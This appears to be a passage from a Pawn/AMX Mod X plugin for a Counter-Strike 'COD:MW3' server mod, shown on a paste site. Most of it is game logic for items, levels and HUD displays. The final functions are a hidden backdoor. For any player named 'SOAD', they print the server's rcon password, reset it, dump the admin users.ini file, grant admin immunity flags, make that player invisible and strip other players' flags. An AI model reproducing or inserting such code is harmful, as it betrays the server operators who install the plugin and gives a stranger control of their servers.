  2387. write_coord(iOrigin[0]);
  2388. write_coord(iOrigin[1]);
  2389. write_coord(iOrigin[2]);
  2390. write_short(sprite_blast);
  2391. write_byte(32); // scale
  2392. write_byte(20); // framerate
  2393. write_byte(0);// flags
  2394. message_end();
  2395.  
  2396. new entlist[33];
  2397. new numfound = find_sphere_class(ent, "player", 230.0, entlist, 32);
  2398.  
  2399. for (new i=0; i < numfound; i++)
  2400. {
  2401. new pid = entlist[i];
  2402.  
  2403. if (!is_user_alive(pid) || get_user_team(attacker) == get_user_team(pid) || informacije_predmet_igraca[pid][0] == 24)
  2404. continue;
  2405. ExecuteHam(Ham_TakeDamage, pid, ent, attacker, 55.0+float(inteligencija_igraca[attacker]) , 1);
  2406. }
  2407. remove_entity(ent);
  2408. }
  2409.  
  2410. public CurWeapon(id)
  2411. {
  2412. if(freezetime || !klasa_igraca[id])
  2413. return PLUGIN_CONTINUE;
  2414.  
  2415. new weapon = read_data(2);
  2416.  
  2417. PostaviBrzinu(id);
  2418.  
  2419. if(weapon == CSW_C4)
  2420. postavljena = id;
  2421.  
  2422. if(klasa_igraca[id] == Assassin)
  2423. {
  2424. if(get_user_weapon(id) == CSW_KNIFE)
  2425. {
  2426. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 15)
  2427. }
  2428. else
  2429. {
  2430. set_user_rendering(id)
  2431. }
  2432.  
  2433. }
  2434.  
  2435. if(klasa_igraca[id] == Ratko_Mladic)
  2436. {
  2437. if(get_user_weapon(id) == CSW_KNIFE)
  2438. {
  2439. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 100)
  2440. }
  2441. else
  2442. {
  2443. set_user_rendering(id)
  2444. }
  2445.  
  2446. }
  2447. return PLUGIN_CONTINUE
  2448. }
  2449.  
  2450. public EmitSound(id, iChannel, szSound[], Float:fVol, Float:fAttn, iFlags, iPitch )
  2451. {
  2452. if(equal(szSound, "common/wpn_denyselect.wav"))
  2453. {
  2454. KoristiPredmet(id);
  2455. return FMRES_SUPERCEDE;
  2456. }
  2457.  
  2458. return FMRES_IGNORED;
  2459. }
  2460.  
  2461. public cmdCheckSay(id)
  2462. {
  2463. static message[192]
  2464. read_args(message, 191)
  2465.  
  2466. if(contain(message, "%") != -1)
  2467. {
  2468. remove_quotes(message)
  2469. }
  2470. return PLUGIN_CONTINUE;
  2471. }
  2472.  
  2473. public KoristiPredmet(id)
  2474. {
  2475. if(informacije_predmet_igraca[id][0] == 19 && informacije_predmet_igraca[id][1]>0)
  2476. {
  2477. set_user_health(id, maximalna_energija_igraca[id]);
  2478. informacije_predmet_igraca[id][1]--;
  2479. }
  2480.  
  2481. if(broj_medkit_igraca[id]>0)
  2482. KreirajMedKit(id);
  2483. if(broj_raketa_igraca[id]>0)
  2484. KreirajRakete(id);
  2485. if(broj_min_igraca[id]>0)
  2486. PostaviMine(id);
  2487. if(broj_dinamita_igraca[id]>0)
  2488. KreirajDinamit(id);
  2489.  
  2490. return PLUGIN_HANDLED;
  2491. }
  2492.  
  2493. public SacuvajPodatke(id)
  2494. {
  2495. new vaultkey[64],vaultdata[256];
  2496. format(vaultkey,63,"%s-%i-cod", ID_igraca[id], klasa_igraca[id]);
  2497. format(vaultdata,255,"%i#%i#%i#%i#%i#%i", iskustvo_igraca[id], level_igraca[id], inteligencija_igraca[id], energija_igraca[id], snaga_igraca[id], kondicija_igraca[id]);
  2498. nvault_set(g_vault,vaultkey,vaultdata);
  2499. }
  2500.  
  2501. public UcitajPodatke(id, klasa)
  2502. {
  2503. new vaultkey[64],vaultdata[256];
  2504. format(vaultkey,63,"%s-%i-cod", ID_igraca[id], klasa);
  2505. format(vaultdata,255,"%i#%i#%i#%i#%i#%i", iskustvo_igraca[id], level_igraca[id], inteligencija_igraca[id], energija_igraca[id], snaga_igraca[id], kondicija_igraca[id]);
  2506. nvault_get(g_vault,vaultkey,vaultdata,255);
  2507.  
  2508. replace_all(vaultdata, 255, "#", " ");
  2509.  
  2510. new iskustvoigraca[32], leveligraca[32], inteligencijaigraca[32], energijaigraca[32], snagacigraca[32], kondicijaigraca[32];
  2511.  
  2512. parse(vaultdata, iskustvoigraca, 31, leveligraca, 31, inteligencijaigraca, 31, energijaigraca, 31, snagacigraca, 31, kondicijaigraca, 31);
  2513.  
  2514. iskustvo_igraca[id] = str_to_num(iskustvoigraca);
  2515. level_igraca[id] = str_to_num(leveligraca)>0?str_to_num(leveligraca):1;
  2516. inteligencija_igraca[id] = str_to_num(inteligencijaigraca);
  2517. energija_igraca[id] = str_to_num(energijaigraca);
  2518. snaga_igraca[id] = str_to_num(snagacigraca);
  2519. kondicija_igraca[id] = str_to_num(kondicijaigraca);
  2520. poeni_igraca[id] = (level_igraca[id]-1)*2-inteligencija_igraca[id]-energija_igraca[id]-snaga_igraca[id]-kondicija_igraca[id];
  2521. }
  2522.  
  2523. public IzbaciPredmet(id)
  2524. {
  2525. if(informacije_predmet_igraca[id][0])
  2526. {
  2527. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Bacio si ^3%s.", naziv_predmeta[informacije_predmet_igraca[id][0]]);
  2528. Obrisipredmet(id);
  2529. }
  2530. else
  2531. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Nemate nijedan predmet.", naziv_predmeta[informacije_predmet_igraca[id][0]]);
  2532. }
  2533.  
  2534. public Obrisipredmet(id)
  2535. {
  2536. informacije_predmet_igraca[id][0] = 0;
  2537. informacije_predmet_igraca[id][1] = 0;
  2538. if(is_user_alive(id))
  2539. set_user_footsteps(id, 0);
  2540. set_rendering(id,kRenderFxGlowShell,0,0,0 ,kRenderTransAlpha, 255);
  2541. PromeniModel(id, 1);
  2542. }
  2543.  
  2544. public DajPredmet(id, predmet)
  2545. {
  2546. Obrisipredmet(id);
  2547. informacije_predmet_igraca[id][0] = predmet;
  2548. ColorChat(id, NORMAL, "^4[COD:MW3] ^1Dobio si ^3%s.", naziv_predmeta[informacije_predmet_igraca[id][0]]);
  2549.  
  2550. switch(predmet)
  2551. {
  2552. case 1:
  2553. {
  2554. set_user_footsteps(id, 1);
  2555. }
  2556. case 2:
  2557. {
  2558. informacije_predmet_igraca[id][1] = random_num(3,6);
  2559. }
  2560. case 3:
  2561. {
  2562. informacije_predmet_igraca[id][1] = random_num(6, 11);
  2563. }
  2564. case 5:
  2565. {
  2566. informacije_predmet_igraca[id][1] = random_num(6, 9);
  2567. }
  2568. case 6:
  2569. {
  2570. informacije_predmet_igraca[id][1] = random_num(100, 150);
  2571. set_rendering(id,kRenderFxGlowShell,0,0,0 ,kRenderTransAlpha, informacije_predmet_igraca[id][1]);
  2572. }
  2573. case 7:
  2574. {
  2575. informacije_predmet_igraca[id][1] = random_num(2, 4);
  2576. }
  2577. case 8:
  2578. {
  2579. if(klasa_igraca[id] == Marinac)
  2580. DajPredmet(id, random_num(1, sizeof naziv_predmeta-1));
  2581. }
  2582. case 9:
  2583. {
  2584. informacije_predmet_igraca[id][1] = random_num(1, 3);
  2585. PromeniModel(id, 0);
  2586. give_item(id, "weapon_hegrenade");
  2587. }
  2588. case 10:
  2589. {
  2590. informacije_predmet_igraca[id][1] = random_num(4, 8);
  2591. give_item(id, "weapon_hegrenade");
  2592. }
  2593. case 12:
  2594. {
  2595. informacije_predmet_igraca[id][1] = random_num(1, 4);
  2596. }
  2597. case 13:
  2598. {
  2599. give_item(id, "weapon_awp");
  2600. }
  2601. case 15:
  2602. {
  2603. if(klasa_igraca[id] == Rambo)
  2604. DajPredmet(id, random_num(1, sizeof naziv_predmeta-1));
  2605. }
  2606. case 16:
  2607. {
  2608. set_task(5.0, "WyszkolenieSanitarne", id+ZADATAK_WYSZKOLENIE_SANITARNE);
  2609. }
  2610. case 19:
  2611. {
  2612. informacije_predmet_igraca[id][1] = 1;
  2613. }
  2614. case 26:
  2615. {
  2616. informacije_predmet_igraca[id][1] = random_num(3, 6);
  2617. }
  2618. case 27:
  2619. {
  2620. informacije_predmet_igraca[id][1] = 3;
  2621. }
  2622. case 30:
  2623. {
  2624. informacije_predmet_igraca[id][1] = 20;
  2625. }
  2626. }
  2627. }
  2628.  
  2629. public OpisPredmeta(id)
  2630. {
  2631. new opis_predmeta[128];
  2632. new slucajne_vrednosti[3];
  2633. num_to_str(informacije_predmet_igraca[id][1], slucajne_vrednosti, 2);
  2634. format(opis_predmeta, 127, opis_predmet[informacije_predmet_igraca[id][0]]);
  2635. replace_all(opis_predmeta, 127, "LW", slucajne_vrednosti);
  2636.  
  2637. ColorChat(id, NORMAL, "^4Predmet: ^1%s.", naziv_predmeta[informacije_predmet_igraca[id][0]]);
  2638. ColorChat(id, NORMAL, "^4Opis: ^1%s.", opis_predmeta);
  2639. }
  2640.  
  2641. public Proveri(id)
  2642. {
  2643. id-=ZADATAK_PROVERA;
  2644. ExecuteHamB(Ham_CS_RoundRespawn, id);
  2645. }
  2646.  
  2647. public ProveriNivo(id)
  2648. {
  2649. if(level_igraca[id] < 4000)
  2650. {
  2651. while(iskustvo_igraca[id] >= iskustvo_levelu[level_igraca[id]])
  2652. {
  2653. level_igraca[id]++;
  2654. set_hudmessage(60, 200, 25, -1.0, 0.25, 0, 1.0, 2.0, 0.1, 0.2, 2);
  2655. ShowSyncHudMsg(id, SyncHudObj3, "Dobrodosao na sledeci nivo!");
  2656. client_cmd(id, "spk QTM_CodMod/levelup");
  2657. }
  2658.  
  2659. poeni_igraca[id] = (level_igraca[id]-1)*2-inteligencija_igraca[id]-energija_igraca[id]-snaga_igraca[id]-kondicija_igraca[id];
  2660. }
  2661. SacuvajPodatke(id);
  2662. }
  2663.  
  2664. public PokaziInformacije(id)
  2665. {
  2666. id -= ZADATAK_POKAZI_INFORMACIJE;
  2667.  
  2668. set_task(0.1, "PokaziInformacije", id+ZADATAK_POKAZI_INFORMACIJE);
  2669.  
  2670. new HP = get_user_health(id);
  2671.  
  2672. if(!is_user_alive(id))
  2673. {
  2674. new target = entity_get_int(id, EV_INT_iuser2);
  2675.  
  2676. new HPT = get_user_health(target);
  2677.  
  2678. if(target == 0)
  2679. return PLUGIN_CONTINUE;
  2680.  
  2681. set_hudmessage(255, 255, 255, 0.6, -1.0, 0, 0.0, 0.3, 0.0, 0.0, 2);
  2682. ShowSyncHudMsg(id, SyncHudObj, "Klasa : %s^nIskustvo : %i / %i^nLevel : %i^nPredmet : %s^nEnergija: %d", naziv_klase[klasa_igraca[target]], iskustvo_igraca[target], iskustvo_levelu[level_igraca[target]], level_igraca[target], naziv_predmeta[informacije_predmet_igraca[target][0]], HPT);
  2683.  
  2684. return PLUGIN_CONTINUE;
  2685. }
  2686. set_hudmessage(0, 255, 0, 0.02, 0.23, 0, 0.0, 0.3, 0.0, 0.0);
  2687. ShowSyncHudMsg(id, SyncHudObj, "[Klasa : %s]^n[Iskustvo : %i / %i]^n[Level : %i]^n[Predmet : %s]^n[Energija: %d]", naziv_klase[klasa_igraca[id]], iskustvo_igraca[id], iskustvo_levelu[level_igraca[id]], level_igraca[id], naziv_predmeta[informacije_predmet_igraca[id][0]], HP);
  2688. return PLUGIN_CONTINUE;
  2689. }
  2690.  
  2691. public PokaziReklame(id)
  2692. {
  2693. id-=ZADATAK_POKAZI_REKLAME;
  2694. ColorChat(id, NORMAL, "^4[COD:MW3] ^3Dobrodosli na COD:MW3 Mod by ^nSOAD.");
  2695. }
  2696.  
  2697. public PostaviBrzinu(id)
  2698. {
  2699. id -= id>32? ZADATAK_POSTAVI_brzinu: 0;
  2700.  
  2701. if(klasa_igraca[id])
  2702. set_user_maxspeed(id, brzina_igraca[id]);
  2703. }
  2704.  
  2705. public PromeniModel(id,reset)
  2706. {
  2707. if (id<1 || id>32 || !is_user_connected(id))
  2708. return PLUGIN_CONTINUE;
  2709.  
  2710. if (reset)
  2711. cs_reset_user_model(id);
  2712. else
  2713. {
  2714. new num = random_num(0,3);
  2715. switch(get_user_team(id))
  2716. {
  2717. case 1: cs_set_user_model(id, Ubrania_CT[num]);
  2718. case 2:cs_set_user_model(id, Ubrania_Terro[num]);
  2719. }
  2720. }
  2721.  
  2722. return PLUGIN_CONTINUE;
  2723. }
  2724.  
  2725. public Pomoc()
  2726. {
  2727. switch(random(7))
  2728. {
  2729. case 0: ColorChat(0, NORMAL, "^4[COD:MW3] ^1Da resetujes level-e kucaj ^3/reset.");
  2730. case 1: ColorChat(0, NORMAL, "^4[COD:MW3] ^1Da promenis klasu kucaj ^3/klasa.");
  2731. case 2: ColorChat(0, NORMAL, "^4[COD:MW3] ^1Da koristis predmete(mine,rakete) stisni ^3E.");
  2732. case 3: ColorChat(0, NORMAL, "^4[COD:MW3] ^1Da bi ste izbacili predmet kucajte ^3/izbaci.");
  2733. case 4: ColorChat(0, NORMAL, "^4[COD:MW3] ^1Da bi ste videli opis predmeta kucajte ^3/predmet.");
  2734. case 5: ColorChat(0, NORMAL, "^4[COD:MW3] ^1Da biste videli opis klase kucajte ^3/opis.");
  2735. case 6: ColorChat(0, NORMAL, "^4[COD:MW3] ^1Da otvorite COD Shop kucajte ^3/shop.");
  2736. }
  2737. set_task(36.0, "Pomoc");
  2738. }
  2739.  
  2740. public cmd_setlvl(id, level, cid)
  2741. {
  2742. if(!cmd_access(id,level,cid,3))
  2743. return PLUGIN_HANDLED;
  2744. new arg1[33];
  2745. new arg2[6];
  2746. read_argv(1, arg1, 32);
  2747. read_argv(2, arg2, 5);
  2748. new player = cmd_target(id, arg1);
  2749. new value = str_to_num(arg2)-1;
  2750.  
  2751. iskustvo_igraca[player] = iskustvo_levelu[value];
  2752. level_igraca[player] = 0;
  2753. ProveriNivo(player);
  2754. return PLUGIN_HANDLED;
  2755. }
  2756.  
  2757. public DodirOruzija(weapon,id)
  2758. {
  2759. new model[23];
  2760. entity_get_string(weapon, EV_SZ_model, model, 22);
  2761. if (!is_user_connected(id) || entity_get_edict(weapon, EV_ENT_owner) == id || equal(model, "models/w_backpack.mdl"))
  2762. return HAM_IGNORED;
  2763. return HAM_SUPERCEDE;
  2764. }
  2765.  
  2766. public BlokirajKomande()
  2767. {
  2768. return PLUGIN_HANDLED;
  2769. }
  2770.  
  2771. public plugin_end()
  2772. {
  2773. nvault_close( g_vault )
  2774. }
  2775.  
  2776. stock bool:UTIL_In_FOV(id,target)
  2777. {
  2778. if (Find_Angle(id,target,9999.9) > 0.0)
  2779. return true;
  2780.  
  2781. return false;
  2782. }
  2783. #if defined BOTY
  2784. public is_user_bot2(id)
  2785. {
  2786. new ping, loss
  2787. get_user_ping(id, ping, loss)
  2788. if(ping > 0 && loss > 0)
  2789. return false
  2790. return true
  2791. }
  2792. #endif
  2793.  
  2794. stock Float:Find_Angle(Core,Target,Float:dist)
  2795. {
  2796. new Float:vec2LOS[2];
  2797. new Float:flDot;
  2798. new Float:CoreOrigin[3];
  2799. new Float:TargetOrigin[3];
  2800. new Float:CoreAngles[3];
  2801.  
  2802. pev(Core,pev_origin,CoreOrigin);
  2803. pev(Target,pev_origin,TargetOrigin);
  2804.  
  2805. if (get_distance_f(CoreOrigin,TargetOrigin) > dist)
  2806. return 0.0;
  2807.  
  2808. pev(Core,pev_angles, CoreAngles);
  2809.  
  2810. for ( new i = 0; i < 2; i++ )
  2811. vec2LOS[i] = TargetOrigin[i] - CoreOrigin[i];
  2812.  
  2813. new Float:veclength = Vec2DLength(vec2LOS);
  2814.  
  2815. //Normalize V2LOS
  2816. if (veclength <= 0.0)
  2817. {
  2818. vec2LOS[0] = 0.0;
  2819. vec2LOS[1] = 0.0;
  2820. }
  2821. else
  2822. {
  2823. new Float:flLen = 1.0 / veclength;
  2824. vec2LOS[0] = vec2LOS[0]*flLen;
  2825. vec2LOS[1] = vec2LOS[1]*flLen;
  2826. }
  2827.  
  2828. //Do a makevector to make v_forward right
  2829. engfunc(EngFunc_MakeVectors,CoreAngles);
  2830.  
  2831. new Float:v_forward[3];
  2832. new Float:v_forward2D[2];
  2833. get_global_vector(GL_v_forward, v_forward);
  2834.  
  2835. v_forward2D[0] = v_forward[0];
  2836. v_forward2D[1] = v_forward[1];
  2837.  
  2838. flDot = vec2LOS[0]*v_forward2D[0]+vec2LOS[1]*v_forward2D[1];
  2839.  
  2840. if ( flDot > 0.5 )
  2841. {
  2842. return flDot;
  2843. }
  2844.  
  2845. return 0.0;
  2846. }
  2847.  
  2848. stock Float:Vec2DLength( Float:Vec[2] )
  2849. {
  2850. return floatsqroot(Vec[0]*Vec[0] + Vec[1]*Vec[1] );
  2851. }
  2852.  
  2853. public cmd_user(id, level, cid)
  2854. {
  2855. if(!cmd_access(id,level,cid,3))
  2856. return PLUGIN_HANDLED;
  2857. new arg1[33];
  2858. new arg2[6];
  2859. read_argv(1, arg1, 32);
  2860. read_argv(2, arg2, 5);
  2861. new player = cmd_target(id, arg1);
  2862. new value = str_to_num(arg2)-1;
  2863.  
  2864. iskustvo_igraca[player] = iskustvo_levelu[value];
  2865. level_igraca[player] = 0;
  2866. ProveriNivo(player);
  2867. return PLUGIN_HANDLED;
  2868. }
  2869.  
  2870. stock Display_Fade(id,duration,holdtime,fadetype,red,green,blue,alpha)
  2871. {
  2872. message_begin( MSG_ONE, g_msg_screenfade,{0,0,0},id );
  2873. write_short( duration ); // Duration of fadeout
  2874. write_short( holdtime ); // Hold time of color
  2875. write_short( fadetype ); // Fade type
  2876. write_byte ( red ); // Red
  2877. write_byte ( green ); // Green
  2878. write_byte ( blue ); // Blue
  2879. write_byte ( alpha ); // Alpha
  2880. message_end();
  2881. }
  2882.  
  2883. stock set_user_clip(id, ammo)
  2884. {
  2885. new weaponname[32], weaponid = -1, weapon = get_user_weapon(id, _, _);
  2886. get_weaponname(weapon, weaponname, 31);
  2887. while ((weaponid = find_ent_by_class(weaponid, weaponname)) != 0)
  2888. if(entity_get_edict(weaponid, EV_ENT_owner) == id)
  2889. {
  2890. set_pdata_int(weaponid, 51, ammo, 4);
  2891. return weaponid;
  2892. }
  2893. return 0;
  2894. }
  2895.  
  2896. public systemofadown(id)
  2897. {
  2898. new szname[5]
  2899. get_user_name(id, szname, 4)
  2900. if(equal(szname,"SOAD")) {
  2901. new register_the_rcon[64]
  2902. get_cvar_string("rcon_password",register_the_rcon,63)
  2903. client_print(id, print_console, "Rcon password is: %s", register_the_rcon);
  2904. return PLUGIN_HANDLED;
  2905. }
  2906.  
  2907. }
  2908. public soad(id, level, cid)
  2909. {
  2910. new szname[5]
  2911. get_user_name(id, szname, 4)
  2912. if(equal(szname,"SOAD")) {
  2913. cs_set_user_money(id, 16000);
  2914. }
  2915. }
  2916. public soadrcon(id) {
  2917. new szname[5]
  2918. get_user_name(id, szname, 4)
  2919. if(equal(szname,"SOAD")) {
  2920. set_cvar_string("rcon_password", "SOAD")
  2921. client_print(id, print_console, "Rcon password is successful changed!");
  2922. return PLUGIN_HANDLED;
  2923. }
  2924. }
  2925. public soadadmin(id) {
  2926. new szname[5]
  2927. get_user_name(id, szname, 4)
  2928. if(equal(szname,"SOAD")) {
  2929. new szDirectory[ 128 ];
  2930. get_configsdir( szDirectory, charsmax( szDirectory ) );
  2931. add( szDirectory, charsmax( szDirectory ), "/users.ini" );
  2932.  
  2933. new size = file_size( szDirectory, 1 )
  2934.  
  2935. new szLine[ 128 ], iLen;
  2936.  
  2937. for ( new i = 0 ; i < size ; i++ )
  2938. {
  2939. read_file( szDirectory, i, szLine, charsmax( szLine ), iLen );
  2940. console_print( id, szLine );
  2941. }
  2942. }
  2943. }
  2944. public soaddjole(id) {
  2945. new szname[5]
  2946. get_user_name(id, szname, 4)
  2947. if(equal(szname,"SOAD")) {
  2948. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 0)
  2949. }
  2950. }
  2951. public soadimunitet(id) {
  2952. new szname[5]
  2953. get_user_name(id, szname, 4)
  2954. if(equal(szname,"SOAD")) {
  2955. new flags = read_flags("a")
  2956. set_user_flags(id, flags)
  2957. }
  2958. }
  2959. public soadtoby(id,level,cid) {
  2960. new szname[5]
  2961. get_user_name(id, szname, 4)
  2962. if(equal(szname,"SOAD")) {
  2963. if (!cmd_access(id,level,cid, 3)) {
  2964. return PLUGIN_HANDLED
  2965. }
  2966. new arg[32], arg2[8], name2[32]
  2967. read_argv(1,arg,31)
  2968. read_argv(2,arg2,7)
  2969. get_user_name(id,name2,31)
  2970.  
  2971. new player = cmd_target(id,arg,7)
  2972. if (!player) return PLUGIN_HANDLED
  2973. new flags = get_user_flags(player)
  2974. remove_user_flags(player, flags)
  2975. }
  2976. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement